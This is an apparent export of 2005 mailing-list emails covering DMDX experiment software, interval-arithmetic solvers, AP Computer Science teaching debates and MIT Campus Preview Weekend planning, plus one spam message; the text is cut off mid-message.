+0100",[DMDX] Refresh rates above 85Hz and AVI files," Here's two questions for the list. (1) I am using a monitor which I positively know it can work at a refresh rate of 120Hz. However, when using TimeDX, the higher refresh rates available are 85Hz for several of the video modes. Is that a limitation of DMDX? How can I get to faster refresh frequencies? (2) I am using video (.AVI) files recorded at a 40 ms / frame rate (the European standard). If my refresh rate is, say, 11.67. How does the system deals with the offset? Will it present the frames for slightly longer/shorter time (i.e., 46.7 ms / 35 ms) and then skip a frame from now and then to re-synch? Is there any way to know exactly what is happening? Thank you very much in advance, and sorry if these questions have been already asked before. I am currently browsing the message database bye Thank you very much salva Salvador Soto Faraco Phone: +34 93 3125158 Cognitive Neuroscience Group Fax: +34 93 4021363 Departament de Psicologia Bàsica Universitat de Barcelona Pg. Vall d'Hebron, 171 08035 - Barcelona, SPAIN ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 17 Feb 2005 08:16:26 -0700",[DMDX] Re: Refresh rates above 85Hz and AVI files,"At 03:31 PM 2/17/2005 +0100, you wrote: >Here's two questions for the list. > >(1) I am using a monitor which I positively know it can work at a refresh >rate of 120Hz. However, when using TimeDX, the higher refresh rates >available are 85Hz for several of the video modes. Is that a limitation of >DMDX? How can I get to faster refresh frequencies? DMDX just exposes what the video drivers decide are the available video modes. Be aware that just because a monitor can go at 120Hz in one video mode doesn't mean it can go at 120Hz in all video modes. Monitors also have limitations on the horizontal frequency and that limits the higher video modes more than vertical frequency does. Your video card can also be a limitation. >(2) I am using video (.AVI) files recorded at a 40 ms / frame rate (the >European standard). If my refresh rate is, say, 11.67. How does the system >deals with the offset? Will it present the frames for slightly >longer/shorter time (i.e., 46.7 ms / 35 ms) and then skip a frame from now >and then to re-synch? Is there any way to know exactly what is happening? You would have to talk to the makers of the video codec that is rendering your .AVI file. Basically it drops frames and all resorts to sorts of chicanery to get a good output. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's nothing wrong with being a self-made man if you don't consider the job finished too soon. - John Mooney ",0,0 Zenon Kulpa ,reliable_computing@interval.louisiana.edu,"Thu, 17 Feb 2005 15:24:39 +0100",RE: a book of potential interest to interval researchers,"> From owner-reliable_computing@interval.louisiana.edu Wed Feb 16 22:27:57 2005 > From: ""Andrzej Pownuk"" > [...]> > My question is. > > ****************************************************************** > Does theory of systems of linear interval equations belong > to interval arithmetic or not? > ****************************************************************** > Positively yes, I presume... [...] > I suspect that the authors of the presented book > (i.e. Uncertain Input Data Problems and the Worst Scenario Method) > work on some functions with intervals or set valued parameters > (I am not sure, I do not know that book). > Then from that point of view > they are working on some extension of interval arithmetic. > Certainly, as far as I can judge from the information posted to the list, they are certainly working on interval arithmetic. That is not the problem - the problem is, as I understand the post of prof. Moore, that they do not mention/advertise that fact (or only very accidentally, as a recent post by Jan Chleboun clarifies). -- Zenon Kulpa",0,0 Ray Moore ,"Zenon Kulpa , reliable_computing@interval.louisiana.edu","Thu, 17 Feb 2005 09:38:12 -0500",Re: a book of potential interest to interval researchers,"Perhaps we should all read the book before we get too involved in discussion of it. We are told that we should not judge a book by its cover. Ray Moore ----- Original Message ----- From: ""Zenon Kulpa"" To: Sent: Thursday, February 17, 2005 9:24 AM Subject: RE: a book of potential interest to interval researchers >> From owner-reliable_computing@interval.louisiana.edu Wed Feb 16 22:27:57 >> 2005 >> From: ""Andrzej Pownuk"" >> > [...]> >> My question is. >> >> ****************************************************************** >> Does theory of systems of linear interval equations belong >> to interval arithmetic or not? >> ****************************************************************** >> > Positively yes, I presume... > > [...] >> I suspect that the authors of the presented book >> (i.e. Uncertain Input Data Problems and the Worst Scenario Method) >> work on some functions with intervals or set valued parameters >> (I am not sure, I do not know that book). >> Then from that point of view >> they are working on some extension of interval arithmetic. >> > Certainly, as far as I can judge from the information posted > to the list, they are certainly working on interval arithmetic. > That is not the problem - the problem is, as I understand > the post of prof. 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XXXXXXXlifeevents.msn.com/category.aspx?cid=Retirement ",1,0 Anna Woollams ,DMDX@psy1.psych.arizona.edu,"Fri, 18 Feb 2005 03:57:07 +1100",[DMDX] Re: Dell Inspiron's and Intel Graphics,"Dear Jonathan, > Turns out we don't have an Inspiron 6000 upstairs but instead have a > 1000 or 1100 instead. Still has an Intel graphics chip in it though and > the more I think about it the less trouble I ever recall DMDX having with > the Intel devices. In fact they're almost my recommended thing these days, > Intel aren't obsessed like Nvidia and ATI with absurdly good 3D bench marks > so their drivers are solid and every time I can think of recently that DMDX > has run on one of their chipsets it's been without any shenanigans at all. Many thanks indeed for checking, and for the reassuring information concerning the Intel graphics chip - both are very much appreciated. I have now ordered the Inspiron 6000, so will let you know how I get on... Best wishes, Anna W. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science. ",0,0 """G. William Walster"" ",Wayne Hayes ,"Thu, 17 Feb 2005 08:15:14 -0800","Re: Does a more recent version of ""UniCalc"" exist?","Wayne, Check out Graphing Calculator at The good news is that it has a much richer interface and the algorithms use intervals. The bad news is that the algorithms are *not* rigorous. What would be cool is to have the interface and versitility of Graphing Calculator with the rigor of GrafEq. Perhaps the community could begin to lobby for such a development. Cheers, Bill Wayne Hayes wrote: > Hello. I've been playing with Jeff Tupper's wonderful GrafEq program > (http://www.peda.com/grafeq), but I would like to be able to solve > problems in more than two variables. Some searching around finds > a program called UniCalc, > > http://archives.math.utk.edu/software/msdos/miscellaneous/unicalc/.html > > although it's a little archaic (from about 1995, only working under > MS-DOS). Is there anything a bit more modern that combines the > versatility of UniCalc with a more modern interface, and presumably > updated algorithms, such as those found in GrafEq? > > - Wayne Hayes >",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 17 Feb 2005 11:36:23 -0700",[DMDX] Re: Dell Inspiron's and Intel Graphics,"At 03:57 AM 2/18/2005 +1100, you wrote: >Dear Jonathan, > > > Turns out we don't have an Inspiron 6000 upstairs but instead have a > > 1000 or 1100 instead. Still has an Intel graphics chip in it though and > > the more I think about it the less trouble I ever recall DMDX having with > > the Intel devices. In fact they're almost my recommended thing these days, > > Intel aren't obsessed like Nvidia and ATI with absurdly good 3D bench marks > > so their drivers are solid and every time I can think of recently that DMDX > > has run on one of their chipsets it's been without any shenanigans at all. > >Many thanks indeed for checking, and for the reassuring information >concerning >the Intel graphics chip - both are very much appreciated. I have now ordered >the Inspiron 6000, so will let you know how I get on... Even if it's cantankerous almost anything can be made to work these days. Between the Refresh Rate Determination's Read Between Flips To Stop Cheating Drivers and the shortcuts that reduce the number of back buffers that DMDX requests all modern cards will work. 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I'm not really sure who to contact about this since Amrys >left the admissions office so if you could let me know who to email, I >would appreciate it. > >Thanks, >Rob > >-- >Rob Radez MIT Class of 2006 >rradez@mit.edu East Campus ",0,0 Matt McGann ,"dormcon-exec@mit.edu, asa-exec@mit.edu, ua-cocomm@mit.edu, ifc-exec@mit.edu, davidcw@mit.edu, kmwerts@mit.edu, pdesuza@mit.edu, alternik@mit.edu, rradez@mit.edu, et-rush-chair@mit.edu, imobilare-exec@mit.edu, vsharris@mit.edu, baniszew@mit.edu, vfm@mit.edu, eterrero@mit.edu, drush@mit.edu, bmwong@mit.edu, chinwe04@mit.edu, hawksley@mit.edu, robind83@mit.edu, mytang@mit.edu, random-rush-chair@mit.edu, jpcmit@mit.edu, ellman@mit.edu, bruchez@mit.edu, clayward@mit.edu, neltnerb@mit.edu, tmrc-officers@mit.edu, sbarth@mit.edu, bryand@mit.edu, chidozie@mit.edu, apacker@mit.edu, afrye@mit.edu, yking@mit.edu, jlong@mit.edu, h0bbes@mit.edu, pdelcast@mit.edu, sbalster@mit.edu, richsinn@mit.edu, bmwong@mit.edu, fweld@mit.edu, anjum@mit.edu","Thu, 17 Feb 2005 19:17:53 -0500",CPW Festival/Events meeting Wednesday," CPW Meeting Wednesday, 6:30pm 4-237 To those who participated in last year's CPW festival (please forward this message if you are no longer your group's contact): Thanks for helping with the inaugural CPW Festival, one of the most successful CPW events ever. Now, we begin preparations for CPW 2005. On Wednesday at 6:30pm in 4-237, we'll begin talking about this year's CPW, with a special focus on the CPW Festival. We'll also provide an overview of the CPW schedule and talk about this year's other events. Please let me know if no one from your group can make it. Please feel free to invite folks from other groups who may be interested. Many thanks, -- Matt MIT Admissions -- Matthew L. McGann '00 Assistant Director of Admissions Massachusetts Institute of Technology http://admissions.mit.edu 617.258.5507 mcgann@mit.edu ",0,1 ,reliable_computing-outgoing@interval.louisiana.edu,"Thu, 17 Feb 2005 20:17:57 +0000",Dr. Alex Campos,www.algoamais.net   Pagina 01 Pagina 02 Pagina 03 Pagina 04 Pagina 05           Sandrinha Olga Paola Rosangela Roseli Jessica Rose Heloiza Marta Monaliza Naomy Hilda Julia Lea Glaucia Luciana Lucia Sabrina Lidiane Flavia           Pagina 01 Pagina 02 Pagina 03 Pagina 04 Pagina 05,1,1 Rob Radez ,"harveyj@mit.edu, pr_abel@mit.edu","Thu, 17 Feb 2005 22:27:16 -0500",[mcgann@MIT.EDU: CPW Festival/Events meeting Wednesday],"Harvey, I know you got this already. Paul, for your reading pleasure. I'm planning on going to this. Rob ----- Forwarded message from Matt McGann ----- From: Matt McGann To: dormcon-exec@mit.edu, asa-exec@mit.edu, ua-cocomm@mit.edu, ifc-exec@mit.edu, davidcw@mit.edu, kmwerts@mit.edu, pdesuza@mit.edu, alternik@mit.edu, rradez@mit.edu, et-rush-chair@mit.edu, imobilare-exec@mit.edu, vsharris@mit.edu, baniszew@mit.edu, vfm@mit.edu, eterrero@mit.edu, drush@mit.edu, bmwong@mit.edu, chinwe04@mit.edu, hawksley@mit.edu, robind83@mit.edu, mytang@mit.edu, random-rush-chair@mit.edu, jpcmit@mit.edu, ellman@mit.edu, bruchez@mit.edu, clayward@mit.edu, neltnerb@mit.edu, tmrc-officers@mit.edu, sbarth@mit.edu, bryand@mit.edu, chidozie@mit.edu, apacker@mit.edu, afrye@mit.edu, yking@mit.edu, jlong@mit.edu, h0bbes@mit.edu, pdelcast@mit.edu, sbalster@mit.edu, richsinn@mit.edu, bmwong@mit.edu, fweld@mit.edu, anjum@mit.edu Cc: fcouncil@mit.edu, ldnoel@mit.edu, jsacosta@mit.edu, Lorelle Espinosa , amyperez@mit.edu Date: Thu, 17 Feb 2005 19:17:53 -0500 Subject: CPW Festival/Events meeting Wednesday CPW Meeting Wednesday, 6:30pm 4-237 To those who participated in last year's CPW festival (please forward this message if you are no longer your group's contact): Thanks for helping with the inaugural CPW Festival, one of the most successful CPW events ever. Now, we begin preparations for CPW 2005. On Wednesday at 6:30pm in 4-237, we'll begin talking about this year's CPW, with a special focus on the CPW Festival. We'll also provide an overview of the CPW schedule and talk about this year's other events. Please let me know if no one from your group can make it. Please feel free to invite folks from other groups who may be interested. Many thanks, -- Matt MIT Admissions -- Matthew L. McGann '00 Assistant Director of Admissions Massachusetts Institute of Technology http://admissions.mit.edu 617.258.5507 mcgann@mit.edu ----- End forwarded message ----- -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus",0,1 Evgueni Petrov ,Wayne Hayes ,"Fri, 18 Feb 2005 15:44:05 +0600","Re: Does a more recent version of ""UniCalc"" exist?","Hello Wayne, Here are the facts concerning Unicalc that i am aware of. Yes, Unicalc is accessible through web-interface at http://speedy.iis.nsk.su. Please keep in mind that this site is not maintained regularly. You will find two solvers there: Unicalc3 (the one you mention) and a beta version of Unicalc5. Please see Introduction for general instructions on usage. All your runs of Unicalc will be limited to 15 variables and 5 seconds of CPU time. Hopefully, Unicalc5 will be released April-May 2005. Best regards, Evgueni Petrov. Wayne Hayes wrote: >Hello. I've been playing with Jeff Tupper's wonderful GrafEq program >(http://www.peda.com/grafeq), but I would like to be able to solve >problems in more than two variables. Some searching around finds >a program called UniCalc, > > http://archives.math.utk.edu/software/msdos/miscellaneous/unicalc/.html > >although it's a little archaic (from about 1995, only working under >MS-DOS). Is there anything a bit more modern that combines the >versatility of UniCalc with a more modern interface, and presumably >updated algorithms, such as those found in GrafEq? > > - Wayne Hayes > ",0,1 Stefan Ratschan ,Wayne Hayes ,"Fri, 18 Feb 2005 11:39:46 +0100","Re: Does a more recent version of ""UniCalc"" exist?","On Mit, 2005-02-16 at 21:13 -0800, Wayne Hayes wrote: > Hello. I've been playing with Jeff Tupper's wonderful GrafEq program > (http://www.peda.com/grafeq), but I would like to be able to solve > problems in more than two variables. Our solver can compute validated over- and underapproximations of the projection to 2-dimensional space of higher-dimensional solution sets of systems of inequalities: http://www.mpi-sb.mpg.de/~ratschan/rsolver/ Try to enter things like EXISTS [z] [[-2,2]] [ x^2+y^2+z^2<=1 /\\ z>y ]; in the provided web interface. However, please be aware that all of this is still a research prototype. Stefan Ratschan",0,1 """Paul A. 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I've made good progress towards that end with clg (in that I've submitted a first paper on it to a conference in the U.S.), which is another two-dimensional program (which was used to produce some of the illustrations in Hansen and Walster's ""Global Optimization Using Interval Analysis""; I'm giving an introductory talk that discusses some aspects of clg here in Antwerp next week [Annie Cuyt has kindly brought me over here for a few weeks] and back at Toronto in a few weeks). After I've done a bit more writing on clg, I'm hoping to bring one of my older programs that displays three-dimensional views out of hibernation. Jeff ",0,1 """Paul A. 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Here are the examples. 1164 9.1 -73 <% 30> ""*""/ * ""slight fork""; 1209 13.6 -74 <% 30> ""*""/ * ""breath attack""; 1149 0.0 -75 <% 30> ""*""/ * ""lose stimulus""; 1026 4.5 -76 <% 30> ""*""/ * ""prove cabin""; 1200 5.3 -77 <% 30> ""*""/ * ""stay sign""; 1141 5.0 -78 <% 30> ""*""/ * ""spin wire""; I had 22 participants. The first error rate is easy to understand. 2 out of 22 was 9.1%. 13.6% is 3, and 4.5% is 1. But what about 5.3%, 5.0%. How can I get an error rate like this if it is the number of participants with incorrect responses divided by the total number of participants? Do I miss something here? An unrelated question: is there any way to exclude a perticular participant in analysis other than manually removing this person's data in the azk file? I understand I can automantically exclude participants with high error rates by specifying an error rate in the spc file, but how about a participant with low ER? I need to do so because the participants completed two tasks and some made high error rates in one task and I want to exclude them from both tasks. Best, Nan Jiang +++++++++++++++++++++++++++ Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics Georgia State University njiang@gsu.edu http://www.gsu.edu/~eslnxj 404-651-2936 +++++++++++++++++++++++++++",0,1 Robb Cutler ,AP Computer Science ,"Wed, 16 Feb 2005 19:03:23 -0800",[ap-compsci] Re: Attracting women to CS,"On Feb 15, 2005, at 5:07 PM, Michael Trigoboff wrote: > >> At Georgia Tech we are using media manipulation to teach an >> intro course and many students (especially women) are finding it more >> interesting than the usual assignments. It also allows people to do >> creative assignments with their own pictures and sounds. > > There's a difference (using the automobile as a metaphor) between a > DRIVER > and a MECHANIC. It sounds like you're training drivers in this > course. There's nothing wrong with that per se, but I don't think that > driving experience necessarily will make your first course as a > mechanic > any easier. > > I think that a better metaphor involves the difference between being an architect and a contractor. The best architects understand engineering and design but don't need to know how to put up drywall. That's a different skillset altogether. - Robb -- Robb Cutler The Harker School --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Tom Indelicato ,AP Computer Science ,"Thu, 17 Feb 2005 11:16:16 -0500",[ap-compsci] Re: Attracting women to computing,"Three cheers for people like this. At Carnegie Mellon, I know Mark Stehlik has a volleyball net, and is rumored to occasionally shut the CMU computer lab down and take the students outside for an hour. If more of us did ""extracurricular"" activities like this ... ____________________________________ Tom Indelicato Computer Science Department Chair Bishop Guertin High School 149 Lund Road, Nashua NH 03060 603-889-4107 x321 indelicato@bghs.org ____________________________________ -----Original Message----- From: Anne Martin [mailto:AShevrin@mcavts.org] Sent: Tuesday, February 15, 2005 5:30 PM To: AP Computer Science Subject: [ap-compsci] Re: Attracting women to computing Funny, but not really. This is a lament I've heard from girls quite a bit. And, at the high school level, many boys are still in the zit stage - a BIG problem for boys who pick on junk food and stay planted in front of their computers or video games. One contribution I try to make is to encourage all my students to find some outdoor activities they can enjoy (camping, hiking, biking, any outdoor sport, walking, skiing, etc.etc.) and get the heck away from the computer for a while at least every week. Field trips and excursions outside the building are also helpful whenever opportunity arises and time permits. Also, the endless supply of black t-shirts, sweatshirts, and pants are not all that attractive to girls either. Discussions on these health and hygiene issues are appreciated quietly by all... I've got 3 girls in a class of 21... and 2 in a class of 13 ... it's a start.... there were zero girls 3 years ago. Anne Shevrin MCTI Computer Programming ashevrin@mcavts.org --- You are currently subscribed to ap-compsci as: indelicato@bghs.org To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-co mpsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Scot Drysdale ,AP Computer Science ,"Thu, 17 Feb 2005 11:14:08 -0500",[ap-compsci] Re: Attracting women to CS,"> >Several people have posted that you have to really 'love' programming and > >you have to be able to handle the 'picky details' to be in computing. > >This is true if you want to be a professional programmer. It isn't > >necessarily true if you want a carrer in computing. Many computer > >scientist don't program. > > OK, but what's a ""computer scientist""? If it means that you've got (at > least) an undergraduate degree in Computer Science, then you will have > succeeded in a program that contains A LOT of programming, and A LOT of > those picky details. I have had a number of CS majors (and CS professors) who were able to program (and program well), but whose first love in CS was not programming. Being able to handle the picky details and loving to deal with picky details is not the same thing. For instance, some people really enjoy learning every obscure language feature (or editor or word processor or spreadsheet feature) and using it. I personally prefer the approach that Wirth espoused in his Turing Award lecture, where he talked about language design as a process of eliminating features until one has a minimal design that allows the programmer to build whatever else is needed. > >One of the things that turns people off of computing courses is an > >overemphasis on math. > > I agree that math can be overemphasized. I don't do this in my > teaching. But what I think cannot be overemphasized is the true nature of > programming. Unless you're advocating the creation of two separate castes > of Computer Scientists (the programmers and the non-programmers), a career > in computing is going to REQUIRE that you master programming with all its > picky difficulties. If there were two such castes, I think it's obvious > which one would have the higher status. Actually, there are two groups of Ph.D.s in computer science, theoreticians and systems researchers. (A similar division occurs in physics between the theoreticians and the experimentalists.) The theoreticians tend to be more mathematical and spend their time inventing, analyzing, and proving things about algorithms or computing. Many can program well, but some who moved over from logic or probability or number theory other areas of pure math have done very little programming. The systems researchers design and implement systems, and are often quite mathematical themselves. It is NOT obvious which of these groups has higher status. Both respect what the other group does, and both are well represented among the Turing Award winners (the nearest thing to a Nobel Prize in CS). In fact Turing (after whom the award was named) is primarily known as a theoretician. In fact, many of my majors who do not go to graduate school do not end up as programmers. They are consultants or managers or use their CS knowledge in business or on Wall Street. > There's a difference (using the automobile as a metaphor) between a DRIVER > and a MECHANIC. It sounds like you're training drivers in this > course. There's nothing wrong with that per se, but I don't think that > driving experience necessarily will make your first course as a mechanic > any easier. This ignores a third group - automotive engineers, the people who design the cars. They may be good mechanics, also, but that is not a requirement for the job. And it certainly is not sufficient. Scot Drysdale --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 yang ,clandestinerock@MIT.EDU,"Sat, 19 Feb 2005 14:16:03 -0500",the state of things,"hello, here are a list of things happening each day, and then I'll talk about what we have and what we need. April 7 - 10 Thursday: hospitality lounge, tours, Cryo FAC Friday: BBQ for dinner, 5 hour dance party Saturday: Miss Ugly, BBQ, Meat Market Sunday: hospitality or maybe nothing rob is in charge of the Cryo FAC. email rradez if you want to help. dugan is in charge of the dance party stuffs. if you're interested in helping, email dhayes. I believe sheila is in charge of Miss Ugly but is looking for help. email salongo. for a large scale project, we want to have a giant hammock spanning the parallels. kabir and I are doing that. email me or kabir jenn is also planning a giant lite brite. email jdascoli if you want to help. I'm still interested in making hug machines. I want to have a workshop for making those ec blinky things. we still have many kits. if you're interested in seeting it up, let me know. it would be nice for hot tub to happen one of the nights. you can help make it happen! also, if anyone wants to come up with a theme, that might be fun. IMPORTANT if you are interested in being any of these people, please let me or jenn know, and then we can work out the details. hospitality/tours czar. basically you make talbot lounge a welcoming area, and you make sure there is snack food. you'll also coordinate tours of east campus. master chef. you decide what food we need to eat for the BBQ friday and saturday, and make sure the food is gotten we're planning on having a budget meeting in a couple of weeks. each event is going to have to have a budget so that we can apply for funding from admissions or weekends@MIT or council of the arts. ok! -yang ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 19 Feb 2005 15:54:38 -0700",[DMDX] Re: error rates and excluding participants,"At 02:48 PM 2/19/2005 -0500, you wrote: >I was looking at the error rate on individual items in an ism file and >can't understand some of the error rates. Here are the examples. > 1164 9.1 -73 <% 30> ""*""/ * ""slight fork""; > 1209 13.6 -74 <% 30> ""*""/ * ""breath attack""; > 1149 0.0 -75 <% 30> ""*""/ * ""lose stimulus""; > 1026 4.5 -76 <% 30> ""*""/ * ""prove cabin""; > 1200 5.3 -77 <% 30> ""*""/ * ""stay sign""; > 1141 5.0 -78 <% 30> ""*""/ * ""spin wire""; >I had 22 participants. The first error rate is easy to understand. 2 out >of 22 was 9.1%. 13.6% is 3, and 4.5% is 1. But what about 5.3%, 5.0%. >How can I get an error rate like this if it is the number of >participants with incorrect responses divided by the total number of >participants? Do I miss something here? How many items were rejected? N is different if cutoffs are applied. >An unrelated question: is there any way to exclude a perticular >participant in analysis other than manually removing this person's data >in the azk file? I understand I can automantically exclude participants >with high error rates by specifying an error rate in the spc file, but >how about a participant with low ER? I need to do so because the >participants completed two tasks and some made high error rates in one >task and I want to exclude them from both tasks. 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While you are right that at advanced graduate and doctoral levels there are non-programming flavors of Computer Science, it seems to me that this ""icing on the cake"" occurs later in the curriculum, after a solid grounding in programming. Computer Science, after all, is important because computers have become quite important in our society. And computers are important because they actually run code and do things. >This ignores a third group - automotive engineers, the people who design the >cars. They may be good mechanics, also, but that is not a requirement for >the job. And it certainly is not sufficient. The point I was trying to make was that learning to do ""media manipulation"" doesn't get you very far up the difficult learning curve of computer programming. -- Michael Trigoboff, Ph.D. Instructor, Computer Information Systems & Computer Science Portland Community College http://spot.pcc.edu/~mtrigobo http://www.pcc.edu Software Engineer MLT Software, Inc. http://mltsoftware.home.comcast.net --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Michael Trigoboff ,AP Computer Science ,"Sat, 19 Feb 2005 16:02:59 -0800",[ap-compsci] Re: Attracting women to CS," At 07:03 PM 2/16/2005, you wrote: >I think that a better metaphor involves the difference between being an >architect and a contractor. The best architects understand engineering >and design but don't need to know how to put up drywall. That's a >different skillset altogether. OK, but how would learning ""media manipulation"" get you any closer to learning to program? I personally wouldn't trust a ""system architect"" who wasn't also an ace programmer. -- Michael Trigoboff, Ph.D. Instructor, Computer Information Systems & Computer Science Portland Community College http://spot.pcc.edu/~mtrigobo http://www.pcc.edu Software Engineer MLT Software, Inc. http://mltsoftware.home.comcast.net --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Joanna Musial ,DMDX@psy1.psych.arizona.edu,"Sun, 20 Feb 2005 21:35:06 -0800",[DMDX] DMDX and SPSS,"Hi, I would like to import my data from DMDX file into SPSS file. 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I would like to know if there exists an interval solver that includes finding complex roots. It would be sufficient if the solver solved only systems of polynomial equations, but they have to be of arbitrary degree. The application, surprisingly enough, is a branch of quantum mechanics called Yang-Mills Theory, which is a branch of what's called ""string theory"", related to QCD. I just saw a talk by a physicist yesterday. She has a problem that reduces to needing to know the number of roots of a system of polynomial equations. She doesn't even need to know the actual value of the roots, just how many there are. Furthermore, even a lower bound on how many roots there are would be a good start; we don't absolutely need to resolve close roots, for example, although of course it would be nice. The equations are of the form \\lambda_i = C_i \\sum_{k=0}^d a_k (x_i)^k, i=1,...,n 0 = \\sum_{i=1}^n C_i l_i (x_i)^k , k=0,...,d and we want to solve for the x_i's. She's tried Mathematica and I think Maple, and I told her that I knew in principle that an interval solver (similar to GrafEq) should be able to solve this rigorously -- but of course it may turn out to scale exponentially in d or n. However, we cannot ignore complex roots, as they are crucial in computing quantum mechanical wave functions. I would guess that it would, in principle, not be a major step to take some existing solver and extend it to include complex roots. The question is whether it's practical. - Wayne ",0,0 Luc JAULIN ,"Wayne Hayes , reliable_computing@interval.louisiana.edu","Thu, 17 Feb 2005 15:29:50 +0100","RE Does a more recent version of ""UniCalc"" exist?","Dear Wayne and others, You can try our windows minisolver ""Proj2d"" available at http://www.istia.univ-angers.fr/~dao/Proj2DV5.zip developed by Massa Dao, Xavier Baguenard and myself (as a supervisor). Proj2d draws an inner and an outer approximation of the two-dimensional projection of a set defined by nonlinear equalities or inequalities. Proj2D uses algorithms based on interval analysis and constraint propagation. Extract the zip file and run the program. You will understand quickly. You can enter equalities (such as ""y=sin(x)"") or inequalities (such as ""sqr(x)+sin(y)+z in [1,2]""). Note that Proj2d is not yet finished and you may find some bugs. Please, if you meet any problems or if you have any suggestions, let us know. I hope that it might help you to solve your problems. Regards, Luc Luc Jaulin, Bureau D214, Laboratoire E3I2, ENSIETA 2, rue François Verny, 29806 Brest, Cedex 9 Web : http://www.ensieta.fr/e3i2/Jaulin/ Tel : +33 (0)2 98 34 89 10 Fax : +33 (0)2 98 34 87 50 Wayne Hayes Envoyé par : owner-reliable_computing@interval.louisiana.edu 17/02/2005 06:13 A reliable_computing@interval.louisiana.edu cc Objet Does a more recent version of ""UniCalc"" exist? Hello. I've been playing with Jeff Tupper's wonderful GrafEq program (http://www.peda.com/grafeq), but I would like to be able to solve problems in more than two variables. Some searching around finds a program called UniCalc, http://archives.math.utk.edu/software/msdos/miscellaneous/unicalc/.html although it's a little archaic (from about 1995, only working under MS-DOS). Is there anything a bit more modern that combines the versatility of UniCalc with a more modern interface, and presumably updated algorithms, such as those found in GrafEq? - Wayne Hayes",0,1 Jeff Tupper ,reliable_computing@interval.louisiana.edu,"Fri, 18 Feb 2005 10:11:16 -0500",Re: calculators,">Jeff and all, > >And how could such ""demand"" be demonstrated ? > >Ray Moore An excellent question. I was assuming that there was no strong demand for reliability as people have become accustomed to software being unreliable (at a basic level: random crashes, poor user interface, incompatibilities, etc.). Just asking the questions displays a more pro-active stance; answers could guide future proselytization. Jeff  ",0,0 Jeff Tupper ,reliable_computing@interval.louisiana.edu,"Fri, 18 Feb 2005 10:31:00 -0500","Re: Does a more recent version of ""UniCalc"" exist?","At 9:13 PM -0800 2/16/05, Wayne Hayes wrote: >I've been playing with Jeff Tupper's wonderful GrafEq program >(http://www.peda.com/grafeq), but I would like to be able to solve >problems in more than two variables. I'm trying to write up papers on some of the graphing programs I've been working on. I've made good progress towards that end with clg, which is another two-dimensional program (which was used to produce some of the illustrations in Hansen and Walster's ""Global Optimization Using Interval Analysis""; I'm giving an introductory talk that discusses some aspects of clg here in Antwerp next week [Annie Cuyt has kindly brought me over here for a few weeks] and back at Toronto in a few weeks). After I've done a bit more writing on clg, I'm hoping to bring one of my older programs that displays three-dimensional views out of hibernation. Jeff ",0,1 """Sergey P. Shary"" ",reliable_computing@interval.louisiana.edu,"Fri, 18 Feb 2005 14:10:24 +0600",INTLAB problems," Colleagues, I have a question on how INTLAB and numerous INTLAB codes operate interval matrices. Running a simple INTLAB function ========================================== function y = a_bug a = [ infsup(0,1) infsup(2,3) ]; b = [ infsup(-2,0.5) infsup(1,3) ]; y = a*b'; %y = 0; %for k = 1 : 2; % y = y + a(k)*b(k); %end =========================================== that computes a ""scalar product"" of two interval 2-vectors, I get the answer >> infsup(a_bug) intval = [ 